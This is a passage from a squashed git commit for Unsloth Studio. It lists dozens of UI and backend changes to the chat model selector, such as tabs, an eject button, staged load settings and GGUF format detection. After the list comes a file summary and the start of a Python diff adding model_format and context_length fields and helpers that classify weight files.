lighten the OOM badge in dark mode, soften the inner dropdown shadow,
even out the padding, and lift the toggle track and field triggers so
their edges read against the popover.

Also catch CogVideoX in the diffusion name fallback.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: align the dark Select model panel with the sidebar

Match the popover, fields, dropdowns, tab toggle and row states to the
sidebar surface and accent so the dropdown reads as one piece in dark
mode. The active tab pill and Search Hub button sit a touch lighter
than the track, and the inner option menus drop their drop shadow for a
flatter look. Light mode is unchanged.

* Studio: re-derive the Select model tab on open

The picker remounts each time the dropdown opens, but the source tab
state did not, so a persisted fine-tuned or connected selection that
only lands in its list after an async load would reopen on Hub. Reset
the active tab to the selection-derived default on the open edge, while
still letting the user switch tabs freely within a session.

* Studio: fold Custom into On Device and polish the picker

Merge the Custom tab into On Device so custom folders sit right below
the downloaded models, with a folder shortcut on the group header.
Rename the first Hub tab to Recommended, give the format dropdown
colored dots, even out the tab row spacing, and tighten the popover
width. Align the folder browser with the app dialogs (soft surface,
roomier padding, green confirm, grey hover).

* Studio: fix On Device controls and nudge the folder browser close

The Hub redesign merge dropped the old Search Hub button styling, so the
On Device search row rendered flat. Point the search input and Search
Hub button at the shared .field-soft surface so they match the rest of
the Hub controls, and lift the folder browser close button slightly.

* Studio: run the Select model search on the Hub search stack

Point the picker at the Hub's useHubModelSearch and useHubInfiniteScroll
instead of its own useHfModelSearch/useInfiniteScroll, scoped to unsloth
so the listing matches the old one. Both the search and the recommended
feed now share the Hub implementation, so there is one search path. The
Hub result folds GGUF params into totalParams, so the dead ggufParams
fallback is dropped.

* Studio: trim the recommended sort to Recommended, Trending, Recent

Drop Downloads and Most likes from the sort dropdown.

* Studio: give the section tabs room off the rounded edge

The fit-mode toggle wrapped the tabs with no inset, so On Device sat
tight against the rounded-full edge. Add a small horizontal inset and
widen the popover a touch to fit it.

* Studio: drop the legacy HF search hooks for the Hub ones

Migrate the training model and dataset sections, export page, onboarding
steps and recipe dataset combobox off useHfModelSearch, useHfDatasetSearch
and useInfiniteScroll onto the Hub equivalents, scoped to unsloth so the
listings match. The picker reads recommended param counts off the search
results it already has instead of a separate fetch. Removes the duplicate
search stack: use-hf-model-search, use-hf-dataset-search,
use-hf-paginated-search, use-infinite-scroll, use-recommended-model-vram
and the old lib/hf-cache.

* Fix model selector section toggle proportions

Remove the fit-mode track inset so the active pill sits flush to the
track edge, matching the Hub's segmented controls.

* Tighten model selector width and tab padding

Reduce the popover width so the right edge aligns with the row, and
widen the fit-mode tab padding so On Device clears the track edge.

* Refine Recommended formats, sort width and tab padding

Recommended now suggests GGUF anywhere and MLX only on Mac, never
safetensors. Size the sort dropdown to its label so Recommended no
longer truncates, and match the On Device trailing gap to the active
pill's leading inset.

* Flush section toggle and match dropdown font to Search Hub

Drop the trailing track pad so the active pill fits the track exactly
at either end. Size the sort and format dropdown text to text-xs like
the Search Hub button, and clip long labels without an ellipsis.

* Fix sort menu checkmark overlap and lock dropdown widths

Keep the option's right padding so the selected checkmark no longer
overlaps the label, and let the open menu expand to fit it. Set the
format and sort triggers to a fixed width matching the Search Hub
button so they always line up.

* Keep section toggle and dropdowns on one row

Drop the wrap and size the Search Hub button, format and sort dropdowns
to a shared 100px so they stay equal width and fit on one row without
widening the box.

* Studio: pre-load inference settings dialog with native context

Add a gear on downloaded GGUF quant rows that opens a settings dialog
to adjust inference parameters before loading a model:

- Context length, KV cache dtype, speculative decoding and tensor
  parallelism, all written to the runtime store the load call reads.
- Settings can be remembered per model in localStorage.
- The context slider ceiling and "Model supports up to N tokens" come
  from the model's native context, read from GGUF metadata and returned
  by /api/models/gguf-variants once a variant is downloaded.

Also drop models Studio can't run for chat (diffusion, image, video)
from the recommended feed and Hub search, plus minor selector polish
on row hover padding, Search Hub and dropdown widths, and tab spacing.

* Studio: model selector polish and memory-aware load warning

Search and listing:
- Drop the "Recommended" and "Hugging Face" section labels while
  searching so results read as one list; keep the format and sort
  dropdowns visible so search results can still be sorted and filtered.
- Request gguf metadata in the Hub listing so GGUF repos report a
  parameter count, restoring the OOM badge for repos without a size
  token in the name (Kimi, MiniMax, GLM).

Load settings dialog:
- Warn when weights plus the KV cache at the chosen context exceed
  available memory. The KV size is sized by the backend's
  architecture-aware estimator via a new kv-cache-estimate endpoint;
  the budget uses VRAM plus system RAM. Best-effort, no warning on
  failure or on auto context.
- Context Length placeholder reads "auto"; dark background slightly
  lighter.

Other:
- Clicking the Custom Folders header opens the folder browser; its
  title now reads "Select folder to detect models".
- On Device sort lists Downloaded last.
- Smaller chat template editor font; rounded wrapper clips the prompt
  and template editor scrollbars so the right corners stay round.

* Studio: fix load dialog memory warning budget and KV dropdown width

- The memory warning never fired without a discrete GPU. useGpuInfo
  returned zero system RAM in that case, so the budget was always zero.
  Surface system RAM even when no GPU is present (Mac unified memory),
  and have the load dialog read memory directly instead of through props.
- Give the dialog fields shrink-0 so the KV Cache Dtype value (e.g.
  q8_0) is not squeezed and clipped by the row.

* Studio: fold fine-tuned models into On Device tab

Remove the Hub models and Fine-tuned source tabs. Fine-tuned models now
show as a section in the Hub tab's On Device view, above Custom Folders,
with the Train icon and a collapse toggle. The section only appears when
the user has fine-tuned models. With no external providers the lone Hub
tab hides its own toggle.

Also: tick-circle Show hidden checkbox and drop the divider above Eject;
keep run settings load params (KV cache dtype, speculative, tensor
parallel) from being clobbered by a mid-load status poll.

* Studio: stage load settings in the sidebar with a Load on selection toggle

Replace the pre-load settings popup with a staging flow in the Run settings
sidebar. The gear on a downloaded quant row now stages the model and opens
Run settings with Load model and Cancel buttons, so options like context
length, KV cache, speculative decoding and tensor parallelism are set before
the model loads. A "Remember these settings" tick reuses them next time.

Add a global Load on selection toggle in Settings, Chat tab (default on).
On: Unsloth auto-picks the best settings for your hardware and loads on
selection. Off: picking a model stages it in Run settings to customize first.
The gear always stages, regardless of the toggle.

Other polish in this change:
- Fine-tuned models live under the On Device tab, with a train icon on the
  header that jumps to the Fine-tuned section.
- Default to the On Device tab when downloads exist, otherwise the last used
  section.
- Standard Unsloth tooltips on the train, folder and gear icons.
- Request the gguf param count on every Hub listing fetch so Kimi, MiniMax
  and GLM show a size badge.
- Search Hub hover state, scrollbar position and minor spacing fixes.

Remove the old inference load settings dialog.

* Studio: always show the fine-tuned shortcut and smooth out the picker

- Fine-tuned section and its train shortcut now always show on On Device,
  with an empty state when no fine-tuned models exist yet.
- Folder icon on the header jumps to Custom Folders instead of opening the
  browse popup, matching the train shortcut.
- Folder browser keeps the list mounted and dims it while refetching, so
  toggling Show hidden or changing folders no longer flashes.
- Drop the tooltip hover grace area in the picker so moving between the
  train, folder and gear icons switches the tooltip at once.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add quantization display options and drop the fine-tuned empty text

- Settings, Chat: 'Expand quantizations' toggle. On expands every On Device
  GGUF model's quantizations by default; off keeps them behind a click
  (default).
- Settings, Chat: 'Show all quantizations' toggle. On lists every quant
  including ones not downloaded (default); off shows downloaded only.
- Remove the empty-state line under the Fine-tuned header; the header still
  shows on its own.

* Studio: let expanded quantizations collapse on click and split the On/Off help

- With Expand quantizations on, clicking an On Device model now collapses or
  re-expands its quantizations. The collapse state is in memory only, so it
  resets on reload and when the setting is toggled.
- Put the Off sentence on its own line in the quantization setting descriptions.

* Studio: reorder chat settings and rename the model section

- Rename the Models section to Select model settings and move it above the
  Chat menu section.
- Trim the section and Load on selection descriptions.

* Studio: tighten the On/Off lines in the model setting descriptions

Use a line break instead of separate spans so the On and Off lines sit on
consecutive lines without the extra paragraph gap.

* Studio: top-align the Load on selection toggle

Add an alignTop option to SettingsRow and use it so the toggle sits at the top
of the row next to the label, not centered against the tall description.

* Studio: put the gear hint and example chip on one line

Move the gear example chip inline with its label so it reads as a single line
instead of wrapping onto its own row.

* Studio: move the New badge from API keys to Chat settings

Add the New badge to the Chat settings tab and drop it from API keys.

* Studio: line the Load on selection toggle up with the first description line

Offset the top-aligned control past the label row so it sits next to the On
line instead of the label.

* Studio: label the chat menu item Chat with Files (RAG)

Rename the Chat with Files entry in the chat menu settings to clarify it is RAG.

* Studio: drop the pill around the gear example so it fits on one line

Remove the background and padding from the gear example chip so it sits inline
with its label at a lower height.

* Studio: fold the gear example into the description line spacing

Render the gear example inline in the same text block so its line spacing
matches the On and Off lines instead of an extra flex gap.

* Studio: scope Show all quantizations to On Device only

Gate the downloaded-only filter on an onDevice flag so Recommended and other
browse lists always show every quant, and note On Device in the setting copy.

* Studio: tidy On Device GGUF rows

- Drop the redundant Quantizations subheading under On Device models.
- Relay GGUF vision support up to the model name as a Vision badge instead.
- Drop the repo size from On Device GGUF model rows since the quants already
  show their size.

* Studio: pin the eject button and tidy General settings

- Move Eject loaded model out of the scrollable list into a centered footer so
  it stays in view no matter how far the list is scrolled.
- Space out and center the gear example in the Load on selection description.
- General: drop the duplicate Unsloth version section, move llama.cpp
  notifications above Helper LLM, and note new models in its description.

* Studio: add left padding before the gear example

Nudge the gear example away from its label with a small left margin.

* Studio: make the eject footer a sticky bar over the list

Pin Eject loaded model to the bottom of the scroll area with the menu
background so rows scroll under it, and drop the divider line.

* Studio: drop the eject footer background, keep it a sticky button

Make the sticky eject a centered transparent button so it coexists with the
rows scrolling behind it. The wrapper ignores pointer events so only the button
is clickable.

* Studio: give the eject button a solid background

Add the menu background, a border and a soft shadow to the sticky eject button
so it reads as a floating button over the list.

* Studio: restore the eject footer block, keep hover on the button only

Bring back the full-width menu background behind the sticky eject footer, but
keep the button compact and centered so the hover stays on the button.

* Studio: show the vision badge on On Device rows without expanding

- cached-gguf listing reports has_vision (mmproj present), so the badge shows
  on the model name without opening the quantizations.
- Make the vision badge icon-only with a tooltip: "This model can process
  image inputs". Falls back to the expander-reported value on older backends.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make LM Studio and Local models sections collapsible

* Fade the eject footer instead of a solid block

* Wrap the vision badge in a bordered pill

* Taller model list with the eject footer pinned to the bottom

* Use purple for the vision badge to set it apart from GGUF

* Reduce the model list height

* Make the eject button inline with no background block

* Match the vision badge color to the Hub indigo tone

* Shorten the model list and square off the format tags

* Pin the eject button so it floats at the bottom of the list

* Give the floating eject button a tinted background

* Add bottom clearance so the list ends on white space under the eject button

* Match eject button to the menu background and unify the settings gear icon

* Move eject below the list and match its shadow and dark background

* Drop the min height so short model lists leave no white space

* Remove the eject button fill so it never covers the list

* Nest dropdown hover radius inside the menu corners

* Float the eject pill again and fix sort dropdown hover radius

* Make the eject button opaque in both themes on hover and dark

* Trim the model menu bottom padding so it stops clipping the last row

* Match dark eject background to the Search Hub button and pad row indicators

* Fade the model list bottom edge while rows sit below the fold

* Lift the eject button and trim the section toggle right padding

* Nudge the model list taller and run the bottom fade to the box edge

* Nudge the model list slightly taller

* Remove the eject button shadow

* Align the eject button to the right

* Widen the Search Hub and dropdowns and right-align them

* Seat the eject button at the base and restore On Device right padding

* Reduce the Search Hub and dropdown width by 4px

* Widen the model menu so the section toggle keeps its padding

* Make the eject button an icon-only button with shadow

* Tighten section tab padding to cut the grey between tabs

* Revert section tab padding back to px-3

* Remove the section toggle trailing padding

* Add an eject button beside the model selector trigger

* Shrink the in-list eject button to a smaller proportional size

* Raise the in-list eject button

* Make the trigger eject a bare icon next to the dropdown arrow

* Revert eject back to the labeled button on the right

* Place the format and sort dropdowns next to the section toggle

* Raise the eject button and shorten its label to Eject model

* Widen the gap between the toggle and dropdowns slightly

* Align Search Hub with the last dropdown via a shared-width grid

* Narrow the model menu for symmetric padding

* Stretch the search row so Search Hub lines up with the last dropdown

* Inset the list so the right padding matches the left

* Right-align dropdowns and full-width search so Search Hub meets the last dropdown

* Pack section toggle and dropdowns with a uniform gap

* Inset search row so Search Hub aligns with the Trending dropdown

* Trim model menu right padding to match the left

* Nudge model list scrollbar inward

* Move eject button to the bottom left with a light shadow

* Shorten show all quantizations description

* Keep eject button right-aligned, nudged in from the edge

* Move Connected into the section toggle as a cloud-icon tab

* Align eject button with the format tag edge

* Right-align Connected layout so Search Hub meets Trending

* Download selected models through the Hub download manager

* Add Other models section for non-Unsloth downloads

* Add directions icon and shortcut for Other models section

* Space out subheadings and gate Other models on non-Unsloth downloads

* Use direction-right icon for Other models

* Use flag icon for Other models

* Widen Connected menu so dropdowns align with Search Hub

* Model selector: truncate long quant labels and tidy layout

- Hub GGUF card: truncate long file-path quant labels with an ellipsis
  instead of overflowing the row.
- Connected layout: left-pack the dropdowns and size the box so the last
  dropdown's right gap matches the pill's left gap, with Search Hub on its edge.
- On Device: show MLX/Safetensors with the size on non-GGUF rows.
- Connected list rows use the same grey hover as the tabs; the selected
  section tab no longer shows a hover change.

* Model selector: drop stale custom section on restore

A persisted custom section value no longer maps to a tab, so restoring it
opened the picker to an empty view. Fall back to recommended instead.

* Model selector: align the non-connected search bar with the All dropdown

Nudge the non-connected box width so the search bar's right edge meets the
All dropdown, which lands Search Hub on the last dropdown's edge.

* Studio chat model selector: remember last tab, route non-GGUF downloads through Hub, stack overlays

- Restore the last Hub section (Recommended / On Device) on every open instead of always snapping to On Device when downloads exist.
- Route uncached non-GGUF repos (safetensors / MLX) through the Hub download manager via a snapshot download, so every model download shows in the bottom-right indicator and follows Load on selection like GGUF.
- Allow safetensors in Recommended on Mac (they run locally there now), and honor the Safetensors format filter instead of dropping it via the recommendation default.
- Stack bottom-right overlays in one column so the download panel and banners never overlap.
- Add evenly spaced divider lines between the On Device subheadings.
- Pad the bottom of the list so the floating Eject pill never covers the last row.

* Studio downloads panel: widen left padding on header and rows

Bump the left inset to pl-4 while keeping pr-3 so the collapse and cancel buttons stay put.

* Studio: update cached-gguf route tests for the has_vision field

list_cached_gguf now returns has_vision per row (vision badge on On Device);
the expected dicts were missing it. True for the mmproj vision repo, False elsewhere.

* Studio: keep MLX/safetensors selectable in chat-only Mac search

The empty Recommended view allows GGUF plus MLX/safetensors on Mac, but the
curated and HF search lists dropped non-GGUF in chat-only via a GGUF-only filter,
so typing a query hid runnable Mac models. Reuse isRecommendableFormat in both
lists so search matches the empty view (chat-only non-Mac stays GGUF-only).

* Model selector: restore global model search and fix GGUF/device-fit regressions

- Search: training, export and onboarding pickers searched only the unsloth org
  on a typed query. Restore the prior behavior (global Hub search with unsloth
  floated first when a query is typed, curated unsloth listing when empty).
- Recommended browse: the GGUF/MLX-only gate ran before the format filter, so
  the Safetensors filter and the Trending/Recent sorts always came back empty.
  Apply that gate only for the Recommended sort and chat-only mode.
- GGUF metadata: request the gguf expand field through listModels so repos with
  no size token in the name (Kimi, MiniMax, GLM) report a param count for the
  size and OOM badge.
- Local GGUF: custom-folder and standalone ./models/*.gguf files now load
  directly with the GGUF marker instead of dead-ending in the variant expander,
  and scanned GGUF folders are classified via a backend model_format hint.
- Device fit: use system RAM in the budget on unified-memory hosts, and keep MLX
  rows selectable on chat-only Macs.
- kv-cache-estimate: resolve the quant from the snapshot-relative path, skip MTP
  drafter files, and prefer the most complete snapshot (mirrors the variant
  scanner). Bound the Ollama manifest walk.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Model selector: classify suffixless local GGUF folders consistently

Complete the model_format plumbing so a GGUF folder is detected and loaded
through the same GGUF path that the format filter already uses:

- _scan_models_dir: a config.json no longer disqualifies a folder whose only
  weights are .gguf, so HF GGUF repos shipping a config still classify as GGUF.
- _scan_lmstudio_dir: emit model_format for every GGUF row (LM Studio dirs
  rarely carry a -GGUF suffix), via a shared _dir_model_format helper.
- Custom Folders and LM Studio rows: use localModelIsGguf (the same helper the
  filter uses) so the row label, expand-vs-direct-load, and isGguf flag agree;
  a suffixless GGUF folder no longer filters as GGUF but loads as non-GGUF.

Adds tests/test_local_model_format.py covering the classification rule.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio model selector: tighten section spacing

Trim each subheading's gap to its rows (pb-1.5 to pb-1) and pull the On Device
heading block tight to the controls while Recommended keeps a little top room.

* Hub: format filter fix, sort defaults, avatar and layout polish

- Format dropdown now filters the feed's Latest list too, so the default
  GGUF hides fp8/safetensors and picking a format changes the rows.
- Latest Unsloth Models sorts by newest created, not recently updated.
- Sort dropdown order: Newest, Trending, Most downloads, Recently
  updated, Most likes.
- Unsloth uploads with no upstream provider logo show the Unsloth avatar
  instead of a colored initial.
- Owner scope pill gets a little more room before the chevron.
- README detail column lines up with the top bar (both-edges gutter).
- Long file-path quant labels truncate instead of overflowing the row.
- Model list keyboard nav no longer clips the focus ring.
- Run settings sheet: restore the Remember settings toggle and larger
  Load/Cancel buttons on the staged load flow.

* Hub: hide the RAG embedding model from browse previews

The Hub discover feed and chat model selector pull from the Hugging Face
listing on the client, which the backend _is_hidden_model filter never
touches, so the RAG embedder (unsloth/bge-small-en-v1.5-GGUF) and the
llama.cpp validation probe leaked into the lists.

Added isHiddenModelId mirroring the backend needles and filtered it out of
the discover rows, the trending feed, and the selector's recommended and
Hugging Face search lists. Per-repo file and download views are untouched,
so the model is never deleted and a reinstall still shows it as already
downloaded.

* Studio: skip hidden dirs when checking a folder for downloaded models

_dir_has_downloaded_model walked the tree with rglob("*") bounded by
max_entries. rglob yields entries in arbitrary order and counts every one, so a
model directory that also holds a large hidden subtree (.git/.cache/venv) could
exhaust the budget before reaching the real weights and falsely report no model,
hiding a valid Recommended-folder chip. Replace the generic-weights pass with a
bounded BFS that skips hidden directories so their entries can't starve the walk.

Adds a regression test (50-entry .git beside the weights, max_entries=10).

* Fix/adjust model selector handling for PR #6364

* Studio: address codex review on the staging/recommended-folder paths

- chat-page auto-load: selectModel only clears pendingSelection on success, so a
  failed auto-load left the hidden stage (and its edited load knobs) behind.
  Abandon the stage when it still matches the failed pick.
- model picker: count fine-tuned rows in the On Device empty check so a
  fine-tuned-only tab no longer shows a false 'No models on device' message
  above the Fine-tuned section.
- general settings: add the remembered per-model load settings key to PREFS_KEYS
  so 'Reset all local preferences' actually clears it.
- recommended-folders: recognize PyTorch .bin weights (gated by the scanner's
  weight-name prefixes) so a .bin-only model folder still earns a chip; add tests.

* Studio: name-gate .bin weight detection and complete selector preference reset

Follow-up to the codex review on the model_format/recommended-folder paths:

- _dir_model_format and _scan_models_dir treated any .bin (incl. tokenizer.bin)
  as a non-GGUF weight, so a suffixless GGUF folder shipping a companion .bin was
  misclassified as a plain checkpoint and routed through the wrong load path.
  Factor the scanner's weight-name gating into shared _is_weight_bin /
  _has_non_gguf_weights helpers and use them everywhere (also in
  _dir_has_downloaded_model).
- PREFS_KEYS was missing the new 'Select model settings' keys (load on selection,
  expand/show-all quantizations), so 'Reset all local preferences' left them set.
- On Device cached search dropped the active format filter while a query was
  typed; keep matchesFormatFilter applied so the format dropdown stays consistent.

Adds tests for the tokenizer.bin vs weight-.bin classification.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: validate Ollama blobs, gate staged context, honor RAM budget on no-GPU hosts

- recommended-folders: only count an Ollama dir once its manifest resolves to an
  on-disk model blob, so a failed/pruned pull no longer surfaces an empty chip
- GGUF variant click: only seed the staged contextLength for already-downloaded
  picks, so choosing an undownloaded quant from a partially cached repo still
  starts its download (the staging effect short-circuits on a known context)
- device fit: classify GGUF variants against the system-RAM budget on no-GPU /
  unified-memory hosts instead of reporting everything as fits, and pass
  systemRamGb to every variant expander regardless of gpu.available

* Studio: scope Hub search to Recommended, fix staged non-GGUF settings, keep local MLX on Mac

- model picker: only run the Hub search hooks on the Recommended section. On
  Device / Connected render local data, so typing there no longer fires HF
  requests or a spinner and the local/offline flow is preserved
- chat settings: when a pick is staged, decide the GGUF-only controls from the
  staged model's type, not the currently loaded model's. A staged non-GGUF Hub
  repo no longer inherits a loaded GGUF's context/KV/speculative controls
- On Device: keep local MLX builds in ./models selectable on Mac (chat-only ran
  GGUF/MLX only, but the filter dropped MLX before the format toggle)

---------

Co-authored-by: shimmyshimmer <info@unsloth.ai>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/models/models.py               |    9 +
 studio/backend/routes/models.py               |  325 +-
 .../backend/tests/test_cached_gguf_routes.py  |    9 +
 .../backend/tests/test_local_model_format.py  |  117 +
 .../test_recommended_folders_has_model.py     |  166 +
 .../backend/tests/test_resolve_quant_gguf.py  |   98 +
 studio/frontend/src/app/provider.tsx          |   25 +-
 .../frontend/src/components/app-sidebar.tsx   |    6 +-
 .../assistant-ui/model-selector.tsx           |  383 +-
 .../model-selector/folder-browser.tsx         |  102 +-
 .../model-selector/model-capabilities.ts      |   74 +
 .../model-load-settings-action.tsx            |   59 +
 .../model-selector/model-usage.ts             |   46 +
 .../assistant-ui/model-selector/pickers.tsx   | 3669 ++++++++++++-----
 .../assistant-ui/model-selector/pill-tabs.tsx |  104 +
 .../model-selector/recommended-fit.ts         |  116 +
 .../remembered-load-settings.ts               |   54 +
 .../assistant-ui/model-selector/row-meta.ts   |   93 +
 .../model-selector/source-tabs.ts             |   18 +
 .../assistant-ui/model-selector/types.ts      |    2 +
 .../src/features/chat/api/chat-api.ts         |   36 +-
 .../frontend/src/features/chat/chat-page.tsx  |  176 +-
 .../src/features/chat/chat-settings-sheet.tsx |   78 +-
 .../chat/hooks/use-chat-model-runtime.ts      |    9 +-
 .../hooks/use-staged-model-preparation.ts     |   53 +-
 .../lib/apply-inference-status-to-store.ts    |   21 +-
 .../src/features/chat/projects-page.tsx       |   11 +-
 .../chat/stores/chat-runtime-store.ts         |   90 +-
 .../frontend/src/features/chat/types/api.ts   |    2 +
 .../src/features/export/export-page.tsx       |   12 +-
 .../src/features/hub/catalog/dot-tag.tsx      |   10 +-
 .../hub/catalog/gguf-download-card.tsx        |   12 +-
 .../features/hub/catalog/hub-detail-view.tsx  |   12 +-
 .../features/hub/catalog/hub-option-menu.tsx  |    4 +-
 .../features/hub/catalog/models-toolbar.tsx   |    4 +-
 .../src/features/hub/catalog/owner-avatar.tsx |   30 +
 .../hub/catalog/owner-scope-toggle.tsx        |    3 +-
 .../download-manager-panel.tsx                |   17 +-
 .../hub/hooks/use-hub-model-search.ts         |   76 +-
 studio/frontend/src/features/hub/hub-page.tsx |   13 +-
 studio/frontend/src/features/hub/hub.css      |    8 +
 .../frontend/src/features/hub/lib/channels.ts |    4 +-
 .../src/features/hub/lib/hidden-models.ts     |   24 +
 .../components/steps/dataset-step.tsx         |   21 +-
 .../components/steps/model-selection-step.tsx |   19 +-
 .../components/shared/hf-dataset-combobox.tsx |    5 +-
 .../settings/components/settings-row.tsx      |   28 +-
 .../src/features/settings/settings-dialog.tsx |   16 +-
 .../src/features/settings/tabs/chat-tab.tsx   |  273 +-
 .../features/settings/tabs/general-tab.tsx    |   69 +-
 .../studio/sections/dataset-section.tsx       |   22 +-
 .../studio/sections/model-section.tsx         |   19 +-
 studio/frontend/src/hooks/index.ts            |    4 -
 studio/frontend/src/hooks/use-gpu-info.ts     |   11 +-
 .../src/hooks/use-hf-dataset-search.ts        |  398 --
 .../frontend/src/hooks/use-hf-model-search.ts |  348 --
 .../src/hooks/use-hf-paginated-search.ts      |  134 -
 .../frontend/src/hooks/use-infinite-scroll.ts |   28 -
 .../src/hooks/use-recommended-model-vram.ts   |   63 -
 studio/frontend/src/i18n/locales/en.ts        |   29 +-
 studio/frontend/src/index.css                 |   36 +-
 studio/frontend/src/lib/hf-cache.ts           |  162 -
 62 files changed, 5032 insertions(+), 2833 deletions(-)
 create mode 100644 studio/backend/tests/test_local_model_format.py
 create mode 100644 studio/backend/tests/test_recommended_folders_has_model.py
 create mode 100644 studio/backend/tests/test_resolve_quant_gguf.py
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts
 create mode 100644 studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts
 create mode 100644 studio/frontend/src/features/hub/lib/hidden-models.ts
 delete mode 100644 studio/frontend/src/hooks/use-hf-dataset-search.ts
 delete mode 100644 studio/frontend/src/hooks/use-hf-model-search.ts
 delete mode 100644 studio/frontend/src/hooks/use-hf-paginated-search.ts
 delete mode 100644 studio/frontend/src/hooks/use-infinite-scroll.ts
 delete mode 100644 studio/frontend/src/hooks/use-recommended-model-vram.ts
 delete mode 100644 studio/frontend/src/lib/hf-cache.ts

diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py
index d1ef368eae..20dea5ec12 100644
--- a/studio/backend/models/models.py
+++ b/studio/backend/models/models.py
@@ -154,6 +154,10 @@ class GgufVariantsResponse(BaseModel):
     default_variant: Optional[str] = Field(
         None, description = "Recommended default quantization variant"
     )
+    context_length: Optional[int] = Field(
+        None,
+        description = "Native max context from GGUF metadata; set once a variant is downloaded",
+    )
 
 
 class LocalModelInfo(BaseModel):
@@ -170,6 +174,11 @@ class LocalModelInfo(BaseModel):
         None,
         description = "HF repo id for cached models, e.g. org/model",
     )
+    model_format: Optional[str] = Field(
+        None,
+        description = "Detected weights format ('gguf' when known). Lets the UI "
+        "classify scanned folders whose name lacks a -GGUF suffix.",
+    )
     updated_at: Optional[float] = Field(
         None,
         description = "Unix timestamp of latest observed update",
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 1e567774ac..14fb5e234c 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -225,6 +225,29 @@ def _is_model_directory(d: Path) -> bool:
         return False
 
 
+# Weight ``.bin`` files the local scanners accept (PyTorch checkpoints), as
+# opposed to companion ``.bin`` files like ``tokenizer.bin``. Mirrors the gating
+# in ``_is_weight_file`` so every weight check classifies the same files.
+_WEIGHT_BIN_PREFIXES = ("pytorch_model", "model", "adapter_model", "consolidated")
+
+
+def _is_weight_bin(name: str) -> bool:
+    low = name.lower()
+    return low.endswith(".bin") and low.startswith(_WEIGHT_BIN_PREFIXES)
+
+
+def _has_non_gguf_weights(path: Path) -> bool:
+    """True if *path* holds non-GGUF weight files (``.safetensors`` or a weight
+    ``.bin``), ignoring companion ``.bin`` files such as ``tokenizer.bin`` so a
+    GGUF-only folder is not misread as a plain checkpoint."""
+    try:
+        if any(path.glob("*.safetensors")):
+            return True
+        return any(_is_weight_bin(f.name) for f in path.glob("*.bin"))
+    except OSError:
+        return False
+
+
 def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[LocalModelInfo]:
     if not models_dir.exists() or not models_dir.is_dir():
         return []
@@ -242,6 +265,7 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca
                 display_name = models_dir.name,
                 path = str(models_dir),
                 source = "models_dir",
+                model_format = _dir_model_format(models_dir),
                 updated_at = updated_at,
             ),
         ]
@@ -253,13 +277,12 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca
         try:
             if not child.is_dir():
                 continue
-            has_model_files = (
-                (child / "config.json").exists()
-                or (child / "adapter_config.json").exists()
-                or any(child.glob("*.safetensors"))
-                or any(child.glob("*.bin"))
-                or any(child.glob("*.gguf"))
-            )
+            has_gguf = any(child.glob("*.gguf"))
+            has_non_gguf_weights = _has_non_gguf_weights(child)
+            has_config = (child / "config.json").exists() or (
+                child / "adapter_config.json"
+            ).exists()
+            has_model_files = has_gguf or has_non_gguf_weights or has_config
         except OSError:
             # Skip unreadable children rather than failing the scan.
             continue
@@ -269,12 +292,17 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca
             updated_at = child.stat().st_mtime
         except OSError:
             updated_at = None
+        # A folder whose only weights are .gguf is GGUF-format even when it also
+        # ships a config.json (common for HF GGUF repos); such folders often lack
+        # a -GGUF suffix, so surface the format for the UI's GGUF classification.
+        model_format = "gguf" if has_gguf and not has_non_gguf_weights else None
         found.append(
             LocalModelInfo(
                 id = str(child),
                 display_name = child.name,
                 path = str(child),
                 source = "models_dir",
+                model_format = model_format,
                 updated_at = updated_at,
             ),
         )
@@ -294,6 +322,7 @@ def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[Loca
                         display_name = gguf_file.stem,
                         path = str(gguf_file),
                         source = "models_dir",
+                        model_format = "gguf",
                         updated_at = updated_at,
                     ),
                 )
@@ -333,6 +362,21 @@ def _scan_hf_cache(cache_dir: Path) -> List[LocalModelInfo]:
     return found
 
 
+def _dir_model_format(path: Path) -> Optional[str]:
+    """Return ``"gguf"`` for a directory whose only weights are ``.gguf`` files.
+
+    LM Studio and custom GGUF folders frequently lack a ``-GGUF`` name suffix,
+    so the UI relies on this hint to route them through the GGUF load path
+    rather than treating them as plain local checkpoints.
+    """
+    try:
+        if not any(path.glob("*.gguf")):
+            return None
+        return None if _has_non_gguf_weights(path) else "gguf"
+    except OSError:
+        return None
+
+
 def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
     """Scan an LM Studio models directory for model files.
 
@@ -355,6 +399,7 @@ def _scan_lmstudio_dir(lm_dir: Path) -> List[LocalModelInfo]:
                 display_name = lm_dir.name,
                 path = str(lm_dir),
                 source = "lmstudio",
+                model_format = _dir_model_format(lm_dir),
